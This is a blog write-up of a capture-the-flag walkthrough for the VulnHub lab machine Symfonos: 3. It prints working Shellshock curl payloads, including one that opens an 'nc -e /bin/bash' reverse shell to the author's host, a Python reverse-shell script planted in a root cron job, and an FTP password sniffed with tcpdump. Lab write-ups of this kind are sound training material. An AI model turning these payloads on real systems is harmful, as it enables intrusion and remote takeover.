John's Headshot

John's InfoSec Ramblings

The thoughts of a man working his way through a career in Information Security.

John Svazic

15 minute read

Symfonos: 3

Name       : Symfonos: 3
Difficulty : Intermediate
Type       : boot2root
Source     : VulnHub
URL        : https://www.vulnhub.com/entry/symfonos-3,332/
Entry      : 12 / 30

Welcome to the walkthrough for Symfonos: 3, a boot2root CTF found on VulnHub. This is the twelfth VM in my VulnHub Challenge, and the second in the “intermediate” category! These intermediate machines are more challenging than beginner machines and should represent a similar challenge to those found in the OSCP labs.

The Symfonos family of virtual machines are more recent entries, with Symfonos: 3 being released on July 20, 2019.

I really hated this VM. There isn’t really anything particularly difficult with this one, but there are so many blasted rabbit holes to distract you that it drove me nuts. To keep things simple I’m going to only mention them in passing rather than dwell on them.

Goal

As with most CTFs from VulnHub, the goal is to get the text file which serves as the flag from the /root directory.

Setup

I’m using VMWare player to host Kali and the Symfonos: 3 image, with both VMs running in a NAT network.

Discovery

I use netdiscover to search for the IP address of the target VM:

root@dante:~# netdiscover -r 192.168.127.0/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.127.1   00:50:56:c0:00:08      1      60  VMware, Inc.
 192.168.127.2   00:50:56:ee:35:86      1      60  VMware, Inc.
 192.168.127.131 00:0c:29:45:ca:93      1      60  VMware, Inc.
 192.168.127.254 00:50:56:f4:c9:28      1      60  VMware, Inc.

So it looks like 192.168.127.131 is our target IP, given the IP for my Kali machine is 192.168.127.129.

Scanning

I’ll start with a quick nmap scan to look for open ports, then do a second scan that does a deeper dive into the services behind the open ports using the -sC and -sV flags:

root@dante:~# nmap 192.168.127.131
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 22:08 EDT
Nmap scan report for 192.168.127.131
Host is up (0.00012s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:45:CA:93 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds
root@dante:~# nmap -sC -sV -p21,22,80 192.168.127.131
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 22:08 EDT
Nmap scan report for 192.168.127.131
Host is up (0.00083s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5b
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 cd:64:72:76:80:51:7b:a8:c7:fd:b2:66:fa:b6:98:0c (RSA)
|   256 74:e5:9a:5a:4c:16:90:ca:d8:f7:c7:78:e7:5a:86:81 (ECDSA)
|_  256 3c:e4:0b:b9:db:bf:01:8a:b7:9c:42:bc:cb:1e:41:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:45:CA:93 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.18 seconds

No SMB server this time, but there is an FTP server and a web server, as well as SSH. Since I haven’t found any usernames yet, it only makes sense to start with the web server.

Web Reconnaissance

I’ll start by using curl to see what’s on the default page:

root@dante:~# curl -v http://192.168.127.131/
*   Trying 192.168.127.131:80...
* TCP_NODELAY set
* Connected to 192.168.127.131 (192.168.127.131) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.127.131
> User-Agent: curl/7.66.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 17 Oct 2019 10:37:55 GMT
< Server: Apache/2.4.25 (Debian)
< Last-Modified: Sat, 20 Jul 2019 05:19:54 GMT
< ETag: "f1-58e15fe4052c8"
< Accept-Ranges: bytes
< Content-Length: 241
< Vary: Accept-Encoding
< Content-Type: text/html
<
<html>
<head>
<style>
html,body{
    margin:0;
    height:100%;
}
img{
  display:block;
  width:100%; height:100%;
  object-fit: cover;
}
</style>
</head>
<body>

<img src="image.jpg">

<!-- Can you bust the underworld? -->

</body>
</html>
* Connection #0 to host 192.168.127.131 left intact

Interesting comment at the end there, Can you bust the underworld? I believe I can!

The image that is displayed is the same as the title image for this writeup, so I won’t repeat that here. Since I have no other leads, I’m going to switch to gobuster to see if I can brute force any paths/files on the web server.

Down the rabbit hole

I’ll start with gobuster and the /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt wordlist (a favourite of mine):

root@dante:~# gobuster dir -f -t 50 -x html -u http://192.168.127.131 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.127.131
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html
[+] Add Slash:      true
[+] Timeout:        10s
===============================================================
2019/10/17 06:45:37 Starting gobuster
===============================================================
/icons/ (Status: 403)
/index.html (Status: 200)
/cgi-bin/ (Status: 403)
/gate/ (Status: 200)
/server-status/ (Status: 403)
===============================================================
2019/10/17 06:46:20 Finished
===============================================================

This is where I hit my first rabbit hole. I noticed that only the /gate/ path returned an HTTP 200 response, so I repeated my gobuster search, but starting from http://192.168.127.131/gate/. This will lead you down a whole lot of false positives that will get you nowhere.

After a few tries at this, I noticed that the original scan had an HTTP 403 response code for /cgi-bin/, which is uncommon but is a great indicator that there may be some type of CGI application running on the machine. Re-running gobuster with this new path is more fruitful:

root@dante:~# gobuster dir -f -t 50 -x html -u http://192.168.127.131/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.127.131/cgi-bin/
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html
[+] Add Slash:      true
[+] Timeout:        10s
===============================================================
2019/10/17 06:49:49 Starting gobuster
===============================================================
/underworld/ (Status: 200)
===============================================================
2019/10/17 06:50:34 Finished
===============================================================

Wonderful, much more reasonable! Using curl again to examine this URL shows something rather simple:

*   Trying 192.168.127.131:80...
* TCP_NODELAY set
* Connected to 192.168.127.131 (192.168.127.131) port 80 (#0)
> GET /cgi-bin/underworld HTTP/1.1
> Host: 192.168.127.131
> User-Agent: curl/7.66.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 17 Oct 2019 11:13:16 GMT
< Server: Apache/2.4.25 (Debian)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html
<
 06:13:16 up 2 days,  5:54,  0 users,  load average: 0.00, 0.09, 0.90
* Connection #0 to host 192.168.127.131 left intact

Looks to be the output from the uptime command, which is a standard application installed on Linux. Plus it’s being hosted in the cgi-bin directory. I immediately think of Shellshock, so I try running another simple curl command to verify if it’s vulnerable or not:

oot@dante:~# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://192.168.127.131/cgi-bin/underworld

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
Debian-exim:x:105:109::/var/spool/exim4:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
hades:x:1000:1000:,,,:/home/hades:/bin/bash
cerberus:x:1001:1001:,,,:/home/cerberus:/bin/bash
proftpd:x:108:65534::/run/proftpd:/bin/false
ftp:x:109:65534::/srv/ftp:/bin/false

Oh yeah, it’s susceptible to Shellshock. Not only that, but I have two new users I can spot! I’m going to use this to kick off a nice reverse shell. I’ll setup my listener on port 9001 using nc, then use curl to kick off the actual exploit:

root@dante:~# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" http://192.168.127.131/cgi-bin/underworld

/bin/nc
root@dante:~# curl -H "user-agent: () { :; }; echo; echo; /bin/nc -e /bin/bash 192.168.127.129 9001" http://192.168.127.131/cgi-bin/underworld

As for my listener, after I get a connection I immediately upgrade to a proper TTY session and set some environment variables to make life easier for myself:

root@dante:~# nc -nvlp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.127.131.
Ncat: Connection from 192.168.127.131:50994.
python -c "import pty;pty.spawn('/bin/bash')"
cerberus@symfonos3:/usr/lib/cgi-bin$ cd /home/cerberus
cd /home/cerberus
cerberus@symfonos3:/home/cerberus$ export TERM=screen
export TERM=screen
cerberus@symfonos3:/home/cerberus$ ls -al
ls -al
total 20
drwxr-xr-x 2 cerberus cerberus 4096 Jul 20 05:31 .
drwxr-xr-x 4 root     root     4096 Jul 20 01:10 ..
lrwxrwxrwx 1 root     root        9 Jul 20 05:31 .bash_history -> /dev/null
-rw-r--r-- 1 cerberus cerberus  220 Jul 20 01:10 .bash_logout
-rw-r--r-- 1 cerberus cerberus 3526 Jul 20 01:10 .bashrc
-rw-r--r-- 1 cerberus cerberus  675 Jul 20 01:10 .profile
cerberus@symfonos3:/home/cerberus$

So, nothing in /home/cerberus, but that’s okay. I’m on the machine, so now it’s time to dig!

Enumeration - Part 1

I turn to my usual standby tool, LinEnum.sh. Unfortunately when I run it, I get nothing of value from the output! Very disappointing, so I won’t bore you with the output here.

Remember when I said that there were a lot of rabbit holes when using gobuster earlier? I wasn’t lying:

cerberus@symfonos3:/home/cerberus$ cd /var/www/html
cd /var/www/html
cerberus@symfonos3:/var/www/html$ ls
ls
gate  image.jpg  index.html
cerberus@symfonos3:/var/www/html$ find . -type d
find . -type d
.
./gate
./gate/cerberus
./gate/cerberus/tartarus
./gate/cerberus/tartarus/titanomachy
./gate/cerberus/tartarus/hecatoncheires
./gate/cerberus/tartarus/thejudges
./gate/cerberus/tartarus/hermes
./gate/cerberus/tartarus/phlegethon
./gate/cerberus/tartarus/charon
./gate/cerberus/tartarus/cocytus
./gate/cerberus/tartarus/acheron
cerberus@symfonos3:/var/www/html$

These are all the different directories you could have fallen down looking for a possible way in. Thankfully I only went down like 3-4 of them myself. Sigh.

Enumeration - Part 2

I could not find anything of use for myself. I did, however, stumble across something interesting when I was looking for files owned by the other user, hades:

cerberus@symfonos3:/home/cerberus$ find / -user hades 2> /dev/null
find / -user hades 2> /dev/null
/srv/ftp
/srv/ftp/statuscheck.txt
/opt/ftpclient
/home/hades
/home/hades/.bashrc
/home/hades/.profile
/home/hades/.bash_logout
/home/hades/.nano
/proc/47803
/proc/47803/task
/proc/47803/task/47803
/proc/47803/task/47803/net
/proc/47803/task/47803/attr
/proc/47803/net
/proc/47803/attr

Let’s Spy on Processes

The interesting one is the /opt/ftpclient, since the directory is owned by hades and I currently cannot get into it. I decided to try downloading a great utility called pspy that allows you to watch for processes (process spy, get it?). I’m curious if this /opt/ftpclient directory is ever used:

cerberus@symfonos3:/dev/shm$ wget http://192.168.127.129/pspy32
wget http://192.168.127.129/pspy32
--2019-10-17 19:27:51--  http://192.168.127.129/pspy32
Connecting to 192.168.127.129:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2656352 (2.5M) [application/octet-stream]
Saving to: 'pspy32'

pspy32              100%[===================>]   2.53M  --.-KB/s    in 0.02s

2019-10-17 19:27:51 (157 MB/s) - 'pspy32' saved [2656352/2656352]

cerberus@symfonos3:/dev/shm$ chmod 755 pspy32
chmod 755 pspy32
cerberus@symfonos3:/dev/shm$ ./pspy32
./pspy32
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░
                               ░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2019/10/17 19:28:02 CMD: UID=0    PID=9697   |
2019/10/17 19:28:02 CMD: UID=0    PID=9      |
2019/10/17 19:28:02 CMD: UID=105  PID=808    | /usr/sbin/exim4 -bd -q30m
2019/10/17 19:28:02 CMD: UID=0    PID=8      |
2019/10/17 19:28:02 CMD: UID=0    PID=78     |
2019/10/17 19:28:02 CMD: UID=0    PID=77     |
2019/10/17 19:28:02 CMD: UID=0    PID=76     |
2019/10/17 19:28:02 CMD: UID=0    PID=704    | /usr/bin/python3 /usr/bin/fail2ban-server -s /var/run/fail2ban/fail2ban.sock -p /var/run/fail2ban/fail2ban.pid -x -b
2019/10/17 19:28:02 CMD: UID=0    PID=700    | /sbin/dhclient -4 -v -pf /run/dhclient.ens33.pid -lf /var/lib/dhcp/dhclient.ens33.leases -I -df /var/lib/dhcp/dhclient6.ens33.leases ens33
2019/10/17 19:28:02 CMD: UID=0    PID=7      |
2019/10/17 19:28:02 CMD: UID=102  PID=62427  | /lib/systemd/systemd-resolved
2019/10/17 19:28:02 CMD: UID=0    PID=5      |
2019/10/17 19:28:02 CMD: UID=0    PID=47803  | proftpd: (accepting connections)
2019/10/17 19:28:02 CMD: UID=0    PID=460    | /sbin/dhclient -nw
2019/10/17 19:28:02 CMD: UID=0    PID=440    | /usr/sbin/sshd -D
2019/10/17 19:28:02 CMD: UID=0    PID=42     |
2019/10/17 19:28:02 CMD: UID=0    PID=41     |
2019/10/17 19:28:02 CMD: UID=0    PID=398    | /sbin/agetty --noclear tty1 linux
2019/10/17 19:28:02 CMD: UID=1001 PID=39007  | ./pspy32
2019/10/17 19:28:02 CMD: UID=0    PID=38982  |
2019/10/17 19:28:02 CMD: UID=0    PID=38960  |
2019/10/17 19:28:02 CMD: UID=1001 PID=38942  | /bin/bash
2019/10/17 19:28:02 CMD: UID=1001 PID=38941  | python -c import pty;pty.spawn('/bin/bash')
2019/10/17 19:28:02 CMD: UID=1001 PID=38927  | bash
2019/10/17 19:28:02 CMD: UID=0    PID=38876  |
2019/10/17 19:28:02 CMD: UID=0    PID=38788  |
2019/10/17 19:28:02 CMD: UID=0    PID=386    | /lib/systemd/systemd-logind
2019/10/17 19:28:02 CMD: UID=0    PID=384    | /usr/sbin/cron -f
2019/10/17 19:28:02 CMD: UID=0    PID=381    | /usr/sbin/rsyslogd -n
2019/10/17 19:28:02 CMD: UID=106  PID=346    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
2019/10/17 19:28:02 CMD: UID=0    PID=3      |
2019/10/17 19:28:02 CMD: UID=1001 PID=29899  | /usr/sbin/apache2 -k start
...
<snip>
...
2019/10/17 19:28:02 CMD: UID=0    PID=1      | /sbin/init
2019/10/17 19:28:20 CMD: UID=0    PID=39028  |
2019/10/17 19:29:01 CMD: UID=0    PID=39029  | /usr/sbin/CRON -f
2019/10/17 19:29:01 CMD: UID=0    PID=39030  | /usr/sbin/CRON -f
2019/10/17 19:29:01 CMD: UID=0    PID=39031  | /bin/sh -c /usr/bin/curl --silent -I 127.0.0.1 > /opt/ftpclient/statuscheck.txt
2019/10/17 19:30:01 CMD: UID=0    PID=39033  | /usr/sbin/CRON -f
2019/10/17 19:30:01 CMD: UID=0    PID=39032  | /usr/sbin/cron -f
2019/10/17 19:30:01 CMD: UID=0    PID=39034  | /usr/sbin/CRON -f
2019/10/17 19:30:01 CMD: UID=0    PID=39035  | /usr/sbin/CRON -f
2019/10/17 19:30:01 CMD: UID=0    PID=39036  | /bin/sh -c /usr/bin/python2.7 /opt/ftpclient/ftpclient.py
<snip>

Again, I had to be patient to find something useful. In this case it paid off. There are two things I’ve noticed:

  1. fail2ban is running, meaning I likely won’t be able to brute force FTP or SSH so I’ll have to try another approach.
  2. The /opt/ftpclient/ftpclient.py application seems to be run at regular intervals, and seems to be run by root (UID=0 in the output), so that means there’s likely a cron job. And since there are no other FTP servers aside from the one locally, I may be able to find what I’m looking for with some wire sniffing…

Enumeration - Part 3

Oh please let there be something like tcpdump or tshark available locally on this machine:

cerberus@symfonos3:/home/cerberus$ which tshark
which tshark
cerberus@symfonos3:/home/cerberus$ which tcpdump
which tcpdump
/usr/local/bin/tcpdump

YES!!! Now I’m in business! The tcpdump tool will allow me to monitor the network traffic. Since I have a python application that’s likely communicating to an FTP server on the local machine, I’m just going to monitor for all traffic going over port 21 over the interface lo, which is the loopback interface that listens for connections to 127.0.0.1. That’s likely the IP being used to target the local FTP server from the script:

cerberus@symfonos3:/home/cerberus$ tcpdump -v -i lo port 21
tcpdump -v -i lo port 21
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
19:54:01.640732 IP (tos 0x0, ttl 64, id 2284, offset 0, flags [DF], proto TCP (6), length 60)
    localhost.49446 > localhost.ftp: Flags [S], cksum 0xfe30 (incorrect -> 0x75bf), seq 1537805288, win 43690, options [mss 65495,sackOK,TS val 60752644 ecr 0,nop,wscale 7], length 0
19:54:01.640743 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60)
    localhost.ftp > localhost.49446: Flags [S.], cksum 0xfe30 (incorrect -> 0xec98), seq 1777604734, ack 1537805289, win 43690, options [mss 65495,sackOK,TS val 60752644 ecr 60752644,nop,wscale 7], length 0
19:54:01.640751 IP (tos 0x0, ttl 64, id 2285, offset 0, flags [DF], proto TCP (6), length 52)
    localhost.49446 > localhost.ftp: Flags [.], cksum 0xfe28 (incorrect -> 0xbedd), ack 1, win 342, options [nop,nop,TS val 60752644 ecr 60752644], length 0
19:54:01.648570 IP (tos 0x0, ttl 64, id 7035, offset 0, flags [DF], proto TCP (6), length 107)
    localhost.ftp > localhost.49446: Flags [P.], cksum 0xfe5f (incorrect -> 0x117c), seq 1:56, ack 1, win 342, options [nop,nop,TS val 60752646 ecr 60752644], length 55: FTP, length: 55
        220 ProFTPD 1.3.5b Server (Debian) [::ffff:127.0.0.1]
19:54:01.648622 IP (tos 0x0, ttl 64, id 2286, offset 0, flags [DF], proto TCP (6), length 52)
    localhost.49446 > localhost.ftp: Flags [.], cksum 0xfe28 (incorrect -> 0xbea2), ack 56, win 342, options [nop,nop,TS val 60752646 ecr 60752646], length 0
19:54:01.648679 IP (tos 0x0, ttl 64, id 2287, offset 0, flags [DF], proto TCP (6), length 64)
    localhost.49446 > localhost.ftp: Flags [P.], cksum 0xfe34 (incorrect -> 0x2f9f), seq 1:13, ack 56, win 342, options [nop,nop,TS val 60752646 ecr 60752
646], length 12: FTP, length: 12
        USER hades
19:54:01.648682 IP (tos 0x0, ttl 64, id 7036, offset 0, flags [DF], proto TCP (6), length 52)
    localhost.ftp > localhost.49446: Flags [.], cksum 0xfe28 (incorrect -> 0xbe96), ack 13, win 342, options [nop,nop,TS val 60752646 ecr 60752646], length 0
19:54:01.652181 IP (tos 0x0, ttl 64, id 7037, offset 0, flags [DF], proto TCP (6), length 85)
    localhost.ftp > localhost.49446: Flags [P.], cksum 0xfe49 (incorrect -> 0xb839), seq 56:89, ack 13, win 342, options [nop,nop,TS val 60752647 ecr 60752646], length 33: FTP, length: 33
        331 Password required for hades
19:54:01.652261 IP (tos 0x0, ttl 64, id 2288, offset 0, flags [DF], proto TCP (6), length 75)
    localhost.49446 > localhost.ftp: Flags [P.], cksum 0xfe3f (incorrect -> 0x1cb2), seq 13:36, ack 89, win 342, options [nop,nop,TS val 60752647 ecr 60752647], length 23: FTP, length: 23
        PASS PTpZTfU4vxgzvRBE
<snip>

Again, a bit of patience but it pays off. I can see that the password for hades is PTpZTfU4vxgzvRBE. Aren’t plain-text protocols like FTP wonderful? ;-)

SSH as hades

Let’s see if hades uses the same password for SSH:

root@dante:~# ssh hades@192.168.127.131
The authenticity of host '192.168.127.131 (192.168.127.131)' can't be established.
ECDSA key fingerprint is SHA256:Q5ddgsdCSuSXrLgf+oVAwhdHy5e7atU6gZzISbrzU94.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.127.131' (ECDSA) to the list of known hosts.
hades@192.168.127.131's password: 
Linux symfonos3 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u5 (2019-08-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Thu Oct 17 19:58:25 2019 from 192.168.127.129
hades@symfonos3:~$

Yes. Yes he does. Awesome. At this point I tried running LinEnum.sh again, but no luck. However, I already know that there is a cron job that calls the /opt/ftpclient/ftpclient.py, and that it is run as root. This is from the pspy32 output earlier. I decide the easiest approach is to just replace the /opt/ftpclient/ftpclient.py file with my own, using a simple Python reverse shell that I get from PenTestMonkey:

import socket,subprocess,os

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.127.129",9002))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])

Using this code instead of the existing code in /opt/ftpclient/ftpclient.py, setting up a simple Netcat listener on my Kali machine, ad a bit of patience leaves me with a wonderful result:

root@dante:~# nc -nvlp 9002
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 192.168.127.131.
Ncat: Connection from 192.168.127.131:38682.
/bin/sh: 0: can't access tty; job control turned off
# whoami
root

Get the Flag

Now that I’ve escalated to root, all that’s left is to grab the flag:

# cd /root
# ls
proof.txt
# cat proof.txt

        Congrats on rooting symfonos:3!
                                        _._
                                      _/,__\,
                                   __/ _/o'o
                                 /  '-.___'/  __
                                /__   /\  )__/_))\
     /_/,   __,____             // '-.____|--'  \\
    e,e / //  /___/|           |/     \/\        \\
    'o /))) : \___\|          /   ,    \/         \\
     -'  \\__,_/|             \/ /      \          \\
             \_\|              \/        \          \\
             | ||              <    '_    \          \\
             | ||             /    ,| /   /           \\
             | ||             |   / |    /\            \\
             | ||              \_/  |   | |             \\
             | ||_______________,'  |__/  \              \\
              \|/_______________\___/______\_             \\
               \________________________     \__           \\        ___
                  \________________________    _\_____      \\ _____/
                     \________________________               \\
        ~~~~~~~        /  ~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~ ~~~~\\~~~~
            ~~~~~~~~~~~~~~    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~    //

        Contact me via Twitter @zayotic to give feedback!

#

Fin.

comments powered by Disqus

Recent posts

See more

Categories

About

Hi. I'm John, and I'm an Information Security Generalist.